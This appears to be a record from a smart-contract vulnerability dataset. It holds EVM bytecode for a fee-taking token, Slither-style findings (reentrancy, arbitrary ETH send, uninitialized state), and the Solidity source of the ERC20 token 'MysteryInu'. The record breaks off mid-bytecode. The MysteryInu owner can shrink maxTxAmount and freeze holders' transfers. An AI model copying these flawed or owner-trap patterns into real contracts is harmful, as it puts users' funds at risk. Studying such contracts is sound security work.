ff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e812e8761b301fb7a333e6beb97564d84da5639bbcdae2de1fe3eef29db6cbe264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,058
0x1fd93fd4d00d568a5824dfe9c05ed930676879aa
/** *Submitted for verification at Etherscan.io on 2021-05-25 */ // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract MysteryInu is Ownable, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 0; string private _name = 'MysteryInu '; string private _symbol = 'MINU'; uint8 private _decimals = 18; uint256 public maxTxAmount = 1000000000000000e18; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _mint(_msgSender(), 1000000000000000e18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if(sender != owner() && recipient != owner()) require(amount <= maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setMaxTxAmount(uint256 _maxTxAmount) external onlyOwner() { require(_maxTxAmount >= 10000e9 , 'maxTxAmount should be greater than 10000e9'); maxTxAmount = _maxTxAmount; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638c0b5e2211610097578063a9059cbb11610066578063a9059cbb146104ae578063dd62ed3e14610512578063ec28438a1461058a578063f2fde38b146105b857610100565b80638c0b5e22146103755780638da5cb5b1461039357806395d89b41146103c7578063a457c2d71461044a57610100565b8063313ce567116100d3578063313ce5671461028e57806339509351146102af57806370a0823114610313578063715018a61461036b57610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ec57806323b872dd1461020a575b600080fd5b61010d6105fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069e565b60405180821515815260200191505060405180910390f35b6101f46106bc565b6040518082815260200191505060405180910390f35b6102766004803603606081101561022057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c6565b60405180821515815260200191505060405180910390f35b61029661079f565b604051808260ff16815260200191505060405180910390f35b6102fb600480360360408110156102c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107b6565b60405180821515815260200191505060405180910390f35b6103556004803603602081101561032957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610869565b6040518082815260200191505060405180910390f35b6103736108b2565b005b61037d610a38565b6040518082815260200191505060405180910390f35b61039b610a3e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cf610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561040f5780820151818401526020810190506103f4565b50505050905090810190601f16801561043c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104966004803603604081101561046057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b09565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd6565b60405180821515815260200191505060405180910390f35b6105746004803603604081101561052857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf4565b6040518082815260200191505060405180910390f35b6105b6600480360360208110156105a057600080fd5b8101908080359060200190929190505050610c7b565b005b6105fa600480360360208110156105ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106945780601f1061066957610100808354040283529160200191610694565b820191906000526020600020905b81548152906001019060200180831161067757829003601f168201915b5050505050905090565b60006106b26106ab61103f565b8484611047565b6001905092915050565b6000600354905090565b60006106d384848461123e565b610794846106df61103f565b61078f8560405180606001604052806028815260200161178360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061074561103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061085f6107c361103f565b8461085a85600260006107d461103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b611047565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108ba61103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aff5780601f10610ad457610100808354040283529160200191610aff565b820191906000526020600020905b815481529060010190602001808311610ae257829003601f168201915b5050505050905090565b6000610bcc610b1661103f565b84610bc7856040518060600160405280602581526020016117f46025913960026000610b4061103f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b611047565b6001905092915050565b6000610bea610be361103f565b848461123e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f0